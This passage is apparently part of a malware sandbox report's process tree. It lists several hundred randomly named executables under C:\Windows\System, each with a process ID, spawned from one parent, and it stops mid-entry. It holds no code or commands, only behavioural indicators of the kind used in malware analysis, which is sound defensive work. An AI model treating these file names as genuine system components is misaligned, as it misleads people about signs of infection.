- C:\Windows\System\sFxhuhC.exe
  C:\Windows\System\sFxhuhC.exe
  2⤵
  PID:13024
- C:\Windows\System\IHnxGCD.exe
  C:\Windows\System\IHnxGCD.exe
  2⤵
  PID:13152
- C:\Windows\System\DopoXnx.exe
  C:\Windows\System\DopoXnx.exe
  2⤵
  PID:13180
- C:\Windows\System\BBUFhaJ.exe
  C:\Windows\System\BBUFhaJ.exe
  2⤵
  PID:13204
- C:\Windows\System\PhbyQCu.exe
  C:\Windows\System\PhbyQCu.exe
  2⤵
  PID:13240
- C:\Windows\System\zugxIFv.exe
  C:\Windows\System\zugxIFv.exe
  2⤵
  PID:13264
- C:\Windows\System\BaUSFZR.exe
  C:\Windows\System\BaUSFZR.exe
  2⤵
  PID:13288
- C:\Windows\System\IHDrQBP.exe
  C:\Windows\System\IHDrQBP.exe
  2⤵
  PID:13308
- C:\Windows\System\DrVCHKw.exe
  C:\Windows\System\DrVCHKw.exe
  2⤵
  PID:12136
- C:\Windows\System\hJMgIqK.exe
  C:\Windows\System\hJMgIqK.exe
  2⤵
  PID:11884
- C:\Windows\System\lSFRNfo.exe
  C:\Windows\System\lSFRNfo.exe
  2⤵
  PID:1532
- C:\Windows\System\thJHjCK.exe
  C:\Windows\System\thJHjCK.exe
  2⤵
  PID:11860
- C:\Windows\System\JOSgqvm.exe
  C:\Windows\System\JOSgqvm.exe
  2⤵
  PID:11968
- C:\Windows\System\KKpLEzf.exe
  C:\Windows\System\KKpLEzf.exe
  2⤵
  PID:11100
- C:\Windows\System\KDSYgMF.exe
  C:\Windows\System\KDSYgMF.exe
  2⤵
  PID:12156
- C:\Windows\System\NCSJzhI.exe
  C:\Windows\System\NCSJzhI.exe
  2⤵
  PID:12468
- C:\Windows\System\UhnCHZS.exe
  C:\Windows\System\UhnCHZS.exe
  2⤵
  PID:12488
- C:\Windows\System\qklOzRd.exe
  C:\Windows\System\qklOzRd.exe
  2⤵
  PID:12536
- C:\Windows\System\BaqcuzJ.exe
  C:\Windows\System\BaqcuzJ.exe
  2⤵
  PID:12628
- C:\Windows\System\pzIWiTn.exe
  C:\Windows\System\pzIWiTn.exe
  2⤵
  PID:1528
- C:\Windows\System\BbWyUlW.exe
  C:\Windows\System\BbWyUlW.exe
  2⤵
  PID:12292
- C:\Windows\System\FkNfQyJ.exe
  C:\Windows\System\FkNfQyJ.exe
  2⤵
  PID:5052
- C:\Windows\System\FYqQggX.exe
  C:\Windows\System\FYqQggX.exe
  2⤵
  PID:13108
- C:\Windows\System\fIHUJYu.exe
  C:\Windows\System\fIHUJYu.exe
  2⤵
  PID:13224
- C:\Windows\System\LTArYUN.exe
  C:\Windows\System\LTArYUN.exe
  2⤵
  PID:12816
- C:\Windows\System\jFHldBm.exe
  C:\Windows\System\jFHldBm.exe
  2⤵
  PID:11692
- C:\Windows\System\cEJjkhr.exe
  C:\Windows\System\cEJjkhr.exe
  2⤵
  PID:12836
- C:\Windows\System\xnansCa.exe
  C:\Windows\System\xnansCa.exe
  2⤵
  PID:12084
- C:\Windows\System\eeZoCvD.exe
  C:\Windows\System\eeZoCvD.exe
  2⤵
  PID:13036
- C:\Windows\System\gtWIswd.exe
  C:\Windows\System\gtWIswd.exe
  2⤵
  PID:12784
- C:\Windows\System\fACjqAr.exe
  C:\Windows\System\fACjqAr.exe
  2⤵
  PID:13016
- C:\Windows\System\qErWXMP.exe
  C:\Windows\System\qErWXMP.exe
  2⤵
  PID:13400
- C:\Windows\System\jGkcrPg.exe
  C:\Windows\System\jGkcrPg.exe
  2⤵
  PID:13520
- C:\Windows\System\DtIiYsP.exe
  C:\Windows\System\DtIiYsP.exe
  2⤵
  PID:13536
- C:\Windows\System\wpAlUBc.exe
  C:\Windows\System\wpAlUBc.exe
  2⤵
  PID:13616
- C:\Windows\System\SgiYPtA.exe
  C:\Windows\System\SgiYPtA.exe
  2⤵
  PID:13632
- C:\Windows\System\yeBFBnE.exe
  C:\Windows\System\yeBFBnE.exe
  2⤵
  PID:13820
- C:\Windows\System\RGCVpAs.exe
  C:\Windows\System\RGCVpAs.exe
  2⤵
  PID:13840
- C:\Windows\System\DYvhBsR.exe
  C:\Windows\System\DYvhBsR.exe
  2⤵
  PID:13864
- C:\Windows\System\xlWDvtq.exe
  C:\Windows\System\xlWDvtq.exe
  2⤵
  PID:13888
- C:\Windows\System\siZhBXY.exe
  C:\Windows\System\siZhBXY.exe
  2⤵
  PID:13912
- C:\Windows\System\zpfWMJV.exe
  C:\Windows\System\zpfWMJV.exe
  2⤵
  PID:13944
- C:\Windows\System\GrhvXdZ.exe
  C:\Windows\System\GrhvXdZ.exe
  2⤵
  PID:13960
- C:\Windows\System\skFxRWv.exe
  C:\Windows\System\skFxRWv.exe
  2⤵
  PID:14036
- C:\Windows\System\tSyhiZy.exe
  C:\Windows\System\tSyhiZy.exe
  2⤵
  PID:14052
- C:\Windows\System\LCQeGiD.exe
  C:\Windows\System\LCQeGiD.exe
  2⤵
  PID:14092
- C:\Windows\System\eRBYemg.exe
  C:\Windows\System\eRBYemg.exe
  2⤵
  PID:14116
- C:\Windows\System\dniVYXO.exe
  C:\Windows\System\dniVYXO.exe
  2⤵
  PID:14136
- C:\Windows\System\PZgldPO.exe
  C:\Windows\System\PZgldPO.exe
  2⤵
  PID:14196
- C:\Windows\System\JCpklzh.exe
  C:\Windows\System\JCpklzh.exe
  2⤵
  PID:14216
- C:\Windows\System\mPubdde.exe
  C:\Windows\System\mPubdde.exe
  2⤵
  PID:14240
- C:\Windows\System\xWvxYBs.exe
  C:\Windows\System\xWvxYBs.exe
  2⤵
  PID:14316
- C:\Windows\System\iRWKQWk.exe
  C:\Windows\System\iRWKQWk.exe
  2⤵
  PID:4164
- C:\Windows\System\sjRQCna.exe
  C:\Windows\System\sjRQCna.exe
  2⤵
  PID:3728
- C:\Windows\System\dGNpBCk.exe
  C:\Windows\System\dGNpBCk.exe
  2⤵
  PID:11516
- C:\Windows\System\UfzKCfS.exe
  C:\Windows\System\UfzKCfS.exe
  2⤵
  PID:4220
- C:\Windows\System\FBIdezQ.exe
  C:\Windows\System\FBIdezQ.exe
  2⤵
  PID:12520
- C:\Windows\System\zjgXoES.exe
  C:\Windows\System\zjgXoES.exe
  2⤵
  PID:13376
- C:\Windows\System\WYwzRsn.exe
  C:\Windows\System\WYwzRsn.exe
  2⤵
  PID:2364
- C:\Windows\System\sTvyzom.exe
  C:\Windows\System\sTvyzom.exe
  2⤵
  PID:1244
- C:\Windows\System\EWGtLqC.exe
  C:\Windows\System\EWGtLqC.exe
  2⤵
  PID:13584
- C:\Windows\System\FGHguiP.exe
  C:\Windows\System\FGHguiP.exe
  2⤵
  PID:13708
- C:\Windows\System\HcliMpD.exe
  C:\Windows\System\HcliMpD.exe
  2⤵
  PID:13768
- C:\Windows\System\RnCqwNd.exe
  C:\Windows\System\RnCqwNd.exe
  2⤵
  PID:3284
- C:\Windows\System\LnpURVd.exe
  C:\Windows\System\LnpURVd.exe
  2⤵
  PID:3452
- C:\Windows\System\gQkSDcB.exe
  C:\Windows\System\gQkSDcB.exe
  2⤵
  PID:2908
- C:\Windows\System\IRlGQnw.exe
  C:\Windows\System\IRlGQnw.exe
  2⤵
  PID:13924
- C:\Windows\System\WcHuEKx.exe
  C:\Windows\System\WcHuEKx.exe
  2⤵
  PID:13928
- C:\Windows\System\mlNCqRV.exe
  C:\Windows\System\mlNCqRV.exe
  2⤵
  PID:14124
- C:\Windows\System\NTFLoOo.exe
  C:\Windows\System\NTFLoOo.exe
  2⤵
  PID:13340
- C:\Windows\System\dkkdcVu.exe
  C:\Windows\System\dkkdcVu.exe
  2⤵
  PID:1432
- C:\Windows\System\scofbgH.exe
  C:\Windows\System\scofbgH.exe
  2⤵
  PID:11536
- C:\Windows\System\nvltsJP.exe
  C:\Windows\System\nvltsJP.exe
  2⤵
  PID:13608
- C:\Windows\System\yoTgtjF.exe
  C:\Windows\System\yoTgtjF.exe
  2⤵
  PID:3396
- C:\Windows\System\ilLhPBQ.exe
  C:\Windows\System\ilLhPBQ.exe
  2⤵
  PID:13656
- C:\Windows\System\XiHiFPP.exe
  C:\Windows\System\XiHiFPP.exe
  2⤵
  PID:13676
- C:\Windows\System\QvxxNOz.exe
  C:\Windows\System\QvxxNOz.exe
  2⤵
  PID:13624
- C:\Windows\System\rKFqdCE.exe
  C:\Windows\System\rKFqdCE.exe
  2⤵
  PID:13640
- C:\Windows\System\StcqBum.exe
  C:\Windows\System\StcqBum.exe
  2⤵
  PID:3700
- C:\Windows\System\vcUsdrG.exe
  C:\Windows\System\vcUsdrG.exe
  2⤵
  PID:8640
- C:\Windows\System\rXyUWCJ.exe
  C:\Windows\System\rXyUWCJ.exe
  2⤵
  PID:11136
- C:\Windows\System\BbnvHcH.exe
  C:\Windows\System\BbnvHcH.exe
  2⤵
  PID:13880
- C:\Windows\System\azBYnEF.exe
  C:\Windows\System\azBYnEF.exe
  2⤵
  PID:13764
- C:\Windows\System\muiCpSP.exe
  C:\Windows\System\muiCpSP.exe
  2⤵
  PID:13852
- C:\Windows\System\advjqbu.exe
  C:\Windows\System\advjqbu.exe
  2⤵
  PID:2604
- C:\Windows\System\wadQgbP.exe
  C:\Windows\System\wadQgbP.exe
  2⤵
  PID:5392
- C:\Windows\System\qWHpYkx.exe
  C:\Windows\System\qWHpYkx.exe
  2⤵
  PID:13452
- C:\Windows\System\snMdmVj.exe
  C:\Windows\System\snMdmVj.exe
  2⤵
  PID:14292
- C:\Windows\System\GbhMvQD.exe
  C:\Windows\System\GbhMvQD.exe
  2⤵
  PID:5084
- C:\Windows\System\tToJGcw.exe
  C:\Windows\System\tToJGcw.exe
  2⤵
  PID:5060
- C:\Windows\System\pLsAQwL.exe
  C:\Windows\System\pLsAQwL.exe
  2⤵
  PID:13396
- C:\Windows\System\uMVrqdv.exe
  C:\Windows\System\uMVrqdv.exe
  2⤵
  PID:13612
- C:\Windows\System\XMxAJiz.exe
  C:\Windows\System\XMxAJiz.exe
  2⤵
  PID:5124
- C:\Windows\System\kReGUlG.exe
  C:\Windows\System\kReGUlG.exe
  2⤵
  PID:13672
- C:\Windows\System\rHGTVik.exe
  C:\Windows\System\rHGTVik.exe
  2⤵
  PID:4396
- C:\Windows\System\IYLFmSv.exe
  C:\Windows\System\IYLFmSv.exe
  2⤵
  PID:13428
- C:\Windows\System\syTCDwe.exe
  C:\Windows\System\syTCDwe.exe
  2⤵
  PID:552
- C:\Windows\System\lWgzZqL.exe
  C:\Windows\System\lWgzZqL.exe
  2⤵
  PID:13440
- C:\Windows\System\HSxAhBM.exe
  C:\Windows\System\HSxAhBM.exe
  2⤵
  PID:4172
- C:\Windows\System\WhiGAbm.exe
  C:\Windows\System\WhiGAbm.exe
  2⤵
  PID:1904
- C:\Windows\System\dLOQvtz.exe
  C:\Windows\System\dLOQvtz.exe
  2⤵
  PID:13848
- C:\Windows\System\FXZtmkS.exe
  C:\Windows\System\FXZtmkS.exe
  2⤵
  PID:11936
- C:\Windows\System\UpyIqBF.exe
  C:\Windows\System\UpyIqBF.exe
  2⤵
  PID:2136
- C:\Windows\System\aRcRlxI.exe
  C:\Windows\System\aRcRlxI.exe
  2⤵
  PID:2292
- C:\Windows\System\zmYQuLB.exe
  C:\Windows\System\zmYQuLB.exe
  2⤵
  PID:180
- C:\Windows\System\xdMMYQE.exe
  C:\Windows\System\xdMMYQE.exe
  2⤵
  PID:2968
- C:\Windows\System\gklHCzY.exe
  C:\Windows\System\gklHCzY.exe
  2⤵
  PID:13468
- C:\Windows\System\GCEBLEv.exe
  C:\Windows\System\GCEBLEv.exe
  2⤵
  PID:2336
- C:\Windows\System\cpcaOvS.exe
  C:\Windows\System\cpcaOvS.exe
  2⤵
  PID:13736
- C:\Windows\System\EDgNIfl.exe
  C:\Windows\System\EDgNIfl.exe
  2⤵
  PID:13668
- C:\Windows\System\QKYWFJf.exe
  C:\Windows\System\QKYWFJf.exe
  2⤵
  PID:4260
- C:\Windows\System\JznchOZ.exe
  C:\Windows\System\JznchOZ.exe
  2⤵
  PID:3436
- C:\Windows\System\FzNBvuv.exe
  C:\Windows\System\FzNBvuv.exe
  2⤵
  PID:13836
- C:\Windows\System\WRQzlaw.exe
  C:\Windows\System\WRQzlaw.exe
  2⤵
  PID:4760
- C:\Windows\System\iYfrLVQ.exe
  C:\Windows\System\iYfrLVQ.exe
  2⤵
  PID:2204
- C:\Windows\System\UaoJCIH.exe
  C:\Windows\System\UaoJCIH.exe
  2⤵
  PID:5540
- C:\Windows\System\ipbSeVT.exe
  C:\Windows\System\ipbSeVT.exe
  2⤵
  PID:3168
- C:\Windows\System\wHAfyjl.exe
  C:\Windows\System\wHAfyjl.exe
  2⤵
  PID:14264
- C:\Windows\System\crHwKJk.exe
  C:\Windows\System\crHwKJk.exe
  2⤵
  PID:4560
- C:\Windows\System\PpxmcEo.exe
  C:\Windows\System\PpxmcEo.exe
  2⤵
  PID:3064
- C:\Windows\System\QGTbkmO.exe
  C:\Windows\System\QGTbkmO.exe
  2⤵
  PID:6128
- C:\Windows\System\oSXrySa.exe
  C:\Windows\System\oSXrySa.exe
  2⤵
  PID:1700
- C:\Windows\System\vTBhqxX.exe
  C:\Windows\System\vTBhqxX.exe
  2⤵
  PID:1176
- C:\Windows\System\Kblpfkk.exe
  C:\Windows\System\Kblpfkk.exe
  2⤵
  PID:4376
- C:\Windows\System\kjfBZrH.exe
  C:\Windows\System\kjfBZrH.exe
  2⤵
  PID:3300
- C:\Windows\System\cjgtKjw.exe
  C:\Windows\System\cjgtKjw.exe
  2⤵
  PID:6084
- C:\Windows\System\IEysBld.exe
  C:\Windows\System\IEysBld.exe
  2⤵
  PID:1804
- C:\Windows\System\hCtmXUD.exe
  C:\Windows\System\hCtmXUD.exe
  2⤵
  PID:816
- C:\Windows\System\rGKMmBS.exe
  C:\Windows\System\rGKMmBS.exe
  2⤵
  PID:5568
- C:\Windows\System\xbIYhfn.exe
  C:\Windows\System\xbIYhfn.exe
  2⤵
  PID:13444
- C:\Windows\System\RTIZYoY.exe
  C:\Windows\System\RTIZYoY.exe
  2⤵
  PID:5844
- C:\Windows\System\qTwolfv.exe
  C:\Windows\System\qTwolfv.exe
  2⤵
  PID:13492
- C:\Windows\System\knFgWdI.exe
  C:\Windows\System\knFgWdI.exe
  2⤵
  PID:5372
- C:\Windows\System\OHtLdxj.exe
  C:\Windows\System\OHtLdxj.exe
  2⤵
  PID:404
- C:\Windows\System\adjapzM.exe
  C:\Windows\System\adjapzM.exe
  2⤵
  PID:13408
- C:\Windows\System\WYqpdar.exe
  C:\Windows\System\WYqpdar.exe
  2⤵
  PID:4916
- C:\Windows\System\LKWNJpr.exe
  C:\Windows\System\LKWNJpr.exe
  2⤵
  PID:13372
- C:\Windows\System\MyfFfuz.exe
  C:\Windows\System\MyfFfuz.exe
  2⤵
  PID:14248
- C:\Windows\System\AFTXkCa.exe
  C:\Windows\System\AFTXkCa.exe
  2⤵
  PID:6556
- C:\Windows\System\dShmAKY.exe
  C:\Windows\System\dShmAKY.exe
  2⤵
  PID:6600
- C:\Windows\System\hHaeQvU.exe
  C:\Windows\System\hHaeQvU.exe
  2⤵
  PID:5624
- C:\Windows\System\nTveXIb.exe
  C:\Windows\System\nTveXIb.exe
  2⤵
  PID:6640
- C:\Windows\System\Kqhhggy.exe
  C:\Windows\System\Kqhhggy.exe
  2⤵
  PID:5952
- C:\Windows\System\MpigzOY.exe
  C:\Windows\System\MpigzOY.exe
  2⤵
  PID:5272
- C:\Windows\System\ltqOWci.exe
  C:\Windows\System\ltqOWci.exe
  2⤵
  PID:5140
- C:\Windows\System\fNordoM.exe
  C:\Windows\System\fNordoM.exe
  2⤵
  PID:7048
- C:\Windows\System\vaPrsbf.exe
  C:\Windows\System\vaPrsbf.exe
  2⤵
  PID:4240
- C:\Windows\System\xAoAvJS.exe
  C:\Windows\System\xAoAvJS.exe
  2⤵
  PID:4924
- C:\Windows\System\GViEJWN.exe
  C:\Windows\System\GViEJWN.exe
  2⤵
  PID:13448
- C:\Windows\System\iututQw.exe
  C:\Windows\System\iututQw.exe
  2⤵
  PID:5368
- C:\Windows\System\udTAdkH.exe
  C:\Windows\System\udTAdkH.exe
  2⤵
  PID:6480
- C:\Windows\System\zEmUQXe.exe
  C:\Windows\System\zEmUQXe.exe
  2⤵
  PID:5224
- C:\Windows\System\PoNbuRC.exe
  C:\Windows\System\PoNbuRC.exe
  2⤵
  PID:5736
- C:\Windows\System\eBTYHIj.exe
  C:\Windows\System\eBTYHIj.exe
  2⤵
  PID:4236
- C:\Windows\System\DhiYbuZ.exe
  C:\Windows\System\DhiYbuZ.exe
  2⤵
  PID:6712
- C:\Windows\System\qJExgHc.exe
  C:\Windows\System\qJExgHc.exe
  2⤵
  PID:5164
- C:\Windows\System\DHqaUMs.exe
  C:\Windows\System\DHqaUMs.exe
  2⤵
  PID:7020
- C:\Windows\System\YzslJKv.exe
  C:\Windows\System\YzslJKv.exe
  2⤵
  PID:14080
- C:\Windows\System\KgNnfSz.exe
  C:\Windows\System\KgNnfSz.exe
  2⤵
  PID:728
- C:\Windows\System\jumdZPo.exe
  C:\Windows\System\jumdZPo.exe
  2⤵
  PID:6992
- C:\Windows\System\JXOgqwl.exe
  C:\Windows\System\JXOgqwl.exe
  2⤵
  PID:3780
- C:\Windows\System\EWKvOum.exe
  C:\Windows\System\EWKvOum.exe
  2⤵
  PID:13828
- C:\Windows\System\YpUbWsU.exe
  C:\Windows\System\YpUbWsU.exe
  2⤵
  PID:6252
- C:\Windows\System\viawnym.exe
  C:\Windows\System\viawnym.exe
  2⤵
  PID:13884
- C:\Windows\System\rAqCOVu.exe
  C:\Windows\System\rAqCOVu.exe
  2⤵
  PID:7256
- C:\Windows\System\FbmHJXy.exe
  C:\Windows\System\FbmHJXy.exe
  2⤵
  PID:7580
- C:\Windows\System\DgkIHFB.exe
  C:\Windows\System\DgkIHFB.exe
  2⤵
  PID:5608
- C:\Windows\System\bZSHFuP.exe
  C:\Windows\System\bZSHFuP.exe
  2⤵
  PID:6972
- C:\Windows\System\iHchqtR.exe
  C:\Windows\System\iHchqtR.exe
  2⤵
  PID:7428
- C:\Windows\System\UuCgdYc.exe
  C:\Windows\System\UuCgdYc.exe
  2⤵
  PID:6432
- C:\Windows\System\vynpHQw.exe
  C:\Windows\System\vynpHQw.exe
  2⤵
  PID:5396
- C:\Windows\System\PozWxiz.exe
  C:\Windows\System\PozWxiz.exe
  2⤵
  PID:13600
- C:\Windows\System\wLexSuY.exe
  C:\Windows\System\wLexSuY.exe
  2⤵
  PID:13424
- C:\Windows\System\keLPuMn.exe
  C:\Windows\System\keLPuMn.exe
  2⤵
  PID:5192
- C:\Windows\System\rpkIZuS.exe
  C:\Windows\System\rpkIZuS.exe
  2⤵
  PID:6756
- C:\Windows\System\xWBscFp.exe
  C:\Windows\System\xWBscFp.exe
  2⤵
  PID:4508
- C:\Windows\System\tyGbzxC.exe
  C:\Windows\System\tyGbzxC.exe
  2⤵
  PID:7124
- C:\Windows\System\JdOghfd.exe
  C:\Windows\System\JdOghfd.exe
  2⤵
  PID:6072
- C:\Windows\System\ufiGxFw.exe
  C:\Windows\System\ufiGxFw.exe
  2⤵
  PID:6968
- C:\Windows\System\cdxOqcy.exe
  C:\Windows\System\cdxOqcy.exe
  2⤵
  PID:7516
- C:\Windows\System\RwKGgHr.exe
  C:\Windows\System\RwKGgHr.exe
  2⤵
  PID:7084
- C:\Windows\System\dGBkcJw.exe
  C:\Windows\System\dGBkcJw.exe
  2⤵
  PID:14344
- C:\Windows\System\nxHHtIs.exe
  C:\Windows\System\nxHHtIs.exe
  2⤵
  PID:14564
- C:\Windows\System\aLAIVAg.exe
  C:\Windows\System\aLAIVAg.exe
  2⤵
  PID:14688
- C:\Windows\System\QqugPwg.exe
  C:\Windows\System\QqugPwg.exe
  2⤵
  PID:14708
- C:\Windows\System\XSgUyGX.exe
  C:\Windows\System\XSgUyGX.exe
  2⤵
  PID:14724
- C:\Windows\System\rsefkZq.exe
  C:\Windows\System\rsefkZq.exe
  2⤵
  PID:14740
- C:\Windows\System\TXFZzAR.exe
  C:\Windows\System\TXFZzAR.exe
  2⤵
  PID:14756
- C:\Windows\System\ZjubkBA.exe
  C:\Windows\System\ZjubkBA.exe
  2⤵
  PID:14772
- C:\Windows\System\QAiGHaw.exe
  C:\Windows\System\QAiGHaw.exe
  2⤵
  PID:14788
- C:\Windows\System\pcnTWUv.exe
  C:\Windows\System\pcnTWUv.exe
  2⤵
  PID:14804
- C:\Windows\System\gFRmOnC.exe
  C:\Windows\System\gFRmOnC.exe
  2⤵
  PID:14840
- C:\Windows\System\ZJLHTRb.exe
  C:\Windows\System\ZJLHTRb.exe
  2⤵
  PID:14888
- C:\Windows\System\YJMNzbZ.exe
  C:\Windows\System\YJMNzbZ.exe
  2⤵
  PID:14904
- C:\Windows\System\KceDCCF.exe
  C:\Windows\System\KceDCCF.exe
  2⤵
  PID:14920
- C:\Windows\System\mhQNIPg.exe
  C:\Windows\System\mhQNIPg.exe
  2⤵
  PID:14936
- C:\Windows\System\muhVJbM.exe
  C:\Windows\System\muhVJbM.exe
  2⤵
  PID:14952
- C:\Windows\System\rWYfCZG.exe
  C:\Windows\System\rWYfCZG.exe
  2⤵
  PID:14968
- C:\Windows\System\yureNzu.exe
  C:\Windows\System\yureNzu.exe
  2⤵
  PID:14984
- C:\Windows\System\RTKFAXw.exe
  C:\Windows\System\RTKFAXw.exe
  2⤵
  PID:15000
- C:\Windows\System\ovtFhgj.exe
  C:\Windows\System\ovtFhgj.exe
  2⤵
  PID:15016
- C:\Windows\System\OLIkvHn.exe
  C:\Windows\System\OLIkvHn.exe
  2⤵
  PID:15032
- C:\Windows\System\AebXMDp.exe
  C:\Windows\System\AebXMDp.exe
  2⤵
  PID:15052
- C:\Windows\System\DahcffG.exe
  C:\Windows\System\DahcffG.exe
  2⤵
  PID:15068
- C:\Windows\System\TEaaOLu.exe
  C:\Windows\System\TEaaOLu.exe
  2⤵
  PID:15084
- C:\Windows\System\bcWcOzi.exe
  C:\Windows\System\bcWcOzi.exe
  2⤵
  PID:15112
- C:\Windows\System\fhsNIfN.exe
  C:\Windows\System\fhsNIfN.exe
  2⤵
  PID:6956
- C:\Windows\System\QGlnKwI.exe
  C:\Windows\System\QGlnKwI.exe
  2⤵
  PID:7132
- C:\Windows\System\iPcxMOT.exe
  C:\Windows\System\iPcxMOT.exe
  2⤵
  PID:6308
- C:\Windows\System\crPxcNX.exe
  C:\Windows\System\crPxcNX.exe
  2⤵
  PID:5688
- C:\Windows\System\OCmGCik.exe
  C:\Windows\System\OCmGCik.exe
  2⤵
  PID:6468
- C:\Windows\System\bnIriiC.exe
  C:\Windows\System\bnIriiC.exe
  2⤵
  PID:6388
- C:\Windows\System\eldosXj.exe
  C:\Windows\System\eldosXj.exe
  2⤵
  PID:4372
- C:\Windows\System\Nvpizfu.exe
  C:\Windows\System\Nvpizfu.exe
  2⤵
  PID:6876
- C:\Windows\System\FpgwWGY.exe
  C:\Windows\System\FpgwWGY.exe
  2⤵
  PID:13740
- C:\Windows\System\omzVbwy.exe
  C:\Windows\System\omzVbwy.exe
  2⤵
  PID:5480
- C:\Windows\System\JVybcko.exe
  C:\Windows\System\JVybcko.exe
  2⤵
  PID:5572
- C:\Windows\System\wxPnCtE.exe
  C:\Windows\System\wxPnCtE.exe
  2⤵
  PID:7016
- C:\Windows\System\sVNgHfD.exe
  C:\Windows\System\sVNgHfD.exe
  2⤵
  PID:4024
- C:\Windows\System\UfGWZWe.exe
  C:\Windows\System\UfGWZWe.exe
  2⤵
  PID:6184
- C:\Windows\System\SjemWjE.exe
  C:\Windows\System\SjemWjE.exe
  2⤵
  PID:7136
- C:\Windows\System\IxuxLfA.exe
  C:\Windows\System\IxuxLfA.exe
  2⤵
  PID:7892
- C:\Windows\System\pEZVIPN.exe
  C:\Windows\System\pEZVIPN.exe
  2⤵
  PID:6660
- C:\Windows\System\FGJtyRQ.exe
  C:\Windows\System\FGJtyRQ.exe
  2⤵
  PID:14528
- C:\Windows\System\IlktcDs.exe
  C:\Windows\System\IlktcDs.exe
  2⤵
  PID:14552
- C:\Windows\System\TyqNexe.exe
  C:\Windows\System\TyqNexe.exe
  2⤵
  PID:4428
- C:\Windows\System\ELOtvtv.exe
  C:\Windows\System\ELOtvtv.exe
  2⤵
  PID:14384
- C:\Windows\System\qkgwIYr.exe
  C:\Windows\System\qkgwIYr.exe
  2⤵
  PID:1328
- C:\Windows\System\pcqLvSm.exe
  C:\Windows\System\pcqLvSm.exe
  2⤵
  PID:14520
- C:\Windows\System\cdUAUqJ.exe
  C:\Windows\System\cdUAUqJ.exe
  2⤵
  PID:14652
- C:\Windows\System\IIoRkIE.exe
  C:\Windows\System\IIoRkIE.exe
  2⤵
  PID:6664
- C:\Windows\System\DHJOnnH.exe
  C:\Windows\System\DHJOnnH.exe
  2⤵
  PID:14536
- C:\Windows\System\elXYpqy.exe
  C:\Windows\System\elXYpqy.exe
  2⤵
  PID:7732
- C:\Windows\System\hkaWdvN.exe
  C:\Windows\System\hkaWdvN.exe
  2⤵
  PID:7872
- C:\Windows\System\cigquei.exe
  C:\Windows\System\cigquei.exe
  2⤵
  PID:14560
- C:\Windows\System\qicQeyE.exe
  C:\Windows\System\qicQeyE.exe
  2⤵
  PID:14832
- C:\Windows\System\bvJLiqh.exe
  C:\Windows\System\bvJLiqh.exe
  2⤵
  PID:8984
- C:\Windows\System\HMeZZdA.exe
  C:\Windows\System\HMeZZdA.exe
  2⤵
  PID:8604
- C:\Windows\System\KwySUno.exe
  C:\Windows\System\KwySUno.exe
  2⤵
  PID:7436
- C:\Windows\System\cYkvUpm.exe
  C:\Windows\System\cYkvUpm.exe
  2⤵
  PID:14496
- C:\Windows\System\nWFnvnJ.exe
  C:\Windows\System\nWFnvnJ.exe
  2⤵
  PID:14884
- C:\Windows\System\apuvlan.exe
  C:\Windows\System\apuvlan.exe
  2⤵
  PID:5824
- C:\Windows\System\BYShcRe.exe
  C:\Windows\System\BYShcRe.exe
  2⤵
  PID:7972
- C:\Windows\System\hkscsPh.exe
  C:\Windows\System\hkscsPh.exe
  2⤵
  PID:15064
- C:\Windows\System\YNBKYip.exe
  C:\Windows\System\YNBKYip.exe
  2⤵
  PID:8824
- C:\Windows\System\dXviIXt.exe
  C:\Windows\System\dXviIXt.exe
  2⤵
  PID:9136
- C:\Windows\System\bXRHwdv.exe
  C:\Windows\System\bXRHwdv.exe
  2⤵
  PID:9140
- C:\Windows\System\AImaLAT.exe
  C:\Windows\System\AImaLAT.exe
  2⤵
  PID:8452
- C:\Windows\System\cTSXxNO.exe
  C:\Windows\System\cTSXxNO.exe
  2⤵
  PID:7512
- C:\Windows\System\UvbKYYl.exe
  C:\Windows\System\UvbKYYl.exe
  2⤵
  PID:7488
- C:\Windows\System\acPgXua.exe
  C:\Windows\System\acPgXua.exe
  2⤵
  PID:8204
- C:\Windows\System\JnsPxTx.exe
  C:\Windows\System\JnsPxTx.exe
  2⤵
  PID:9064
- C:\Windows\System\amcuVUv.exe
  C:\Windows\System\amcuVUv.exe
  2⤵
  PID:15188
- C:\Windows\System\APInBRm.exe
  C:\Windows\System\APInBRm.exe
  2⤵
  PID:8716
- C:\Windows\System\zEGESit.exe
  C:\Windows\System\zEGESit.exe
  2⤵
  PID:8900
- C:\Windows\System\tLwevjX.exe
  C:\Windows\System\tLwevjX.exe
  2⤵
  PID:7180
- C:\Windows\System\ImVhyrY.exe
  C:\Windows\System\ImVhyrY.exe
  2⤵
  PID:5692
- C:\Windows\System\gjRzxNC.exe
  C:\Windows\System\gjRzxNC.exe
  2⤵
  PID:14900
- C:\Windows\System\hrNUMJo.exe
  C:\Windows\System\hrNUMJo.exe
  2⤵
  PID:1560
- C:\Windows\System\fzpQFhw.exe
  C:\Windows\System\fzpQFhw.exe
  2⤵
  PID:9028
- C:\Windows\System\ADNKiDu.exe
  C:\Windows\System\ADNKiDu.exe
  2⤵
  PID:14992
- C:\Windows\System\LkMSggD.exe
  C:\Windows\System\LkMSggD.exe
  2⤵
  PID:5144
- C:\Windows\System\zBEgnhb.exe
  C:\Windows\System\zBEgnhb.exe
  2⤵
  PID:8976
- C:\Windows\System\zozFhJD.exe
  C:\Windows\System\zozFhJD.exe
  2⤵
  PID:6328
- C:\Windows\System\vxmXLfI.exe
  C:\Windows\System\vxmXLfI.exe
  2⤵
  PID:15124
- C:\Windows\System\lsgUznQ.exe
  C:\Windows\System\lsgUznQ.exe
  2⤵
  PID:6092
- C:\Windows\System\fueLdtn.exe
  C:\Windows\System\fueLdtn.exe
  2⤵
  PID:7044
- C:\Windows\System\rPkvdWt.exe
  C:\Windows\System\rPkvdWt.exe
  2⤵
  PID:7012
- C:\Windows\System\zwKvWPF.exe
  C:\Windows\System\zwKvWPF.exe
  2⤵
  PID:15260
- C:\Windows\System\BXVylbk.exe
  C:\Windows\System\BXVylbk.exe
  2⤵
  PID:8484
- C:\Windows\System\Rstzmhs.exe
  C:\Windows\System\Rstzmhs.exe
  2⤵
  PID:15320
- C:\Windows\System\WlfGCOe.exe
  C:\Windows\System\WlfGCOe.exe
  2⤵
  PID:7000
- C:\Windows\System\splhabQ.exe
  C:\Windows\System\splhabQ.exe
  2⤵
  PID:9044
- C:\Windows\System\xevhFsT.exe
  C:\Windows\System\xevhFsT.exe
  2⤵
  PID:14576
- C:\Windows\System\VtyUSVa.exe
  C:\Windows\System\VtyUSVa.exe
  2⤵
  PID:5828
- C:\Windows\System\jbOQMbt.exe
  C:\Windows\System\jbOQMbt.exe
  2⤵
  PID:6940
- C:\Windows\System\gsIcwgq.exe
  C:\Windows\System\gsIcwgq.exe
  2⤵
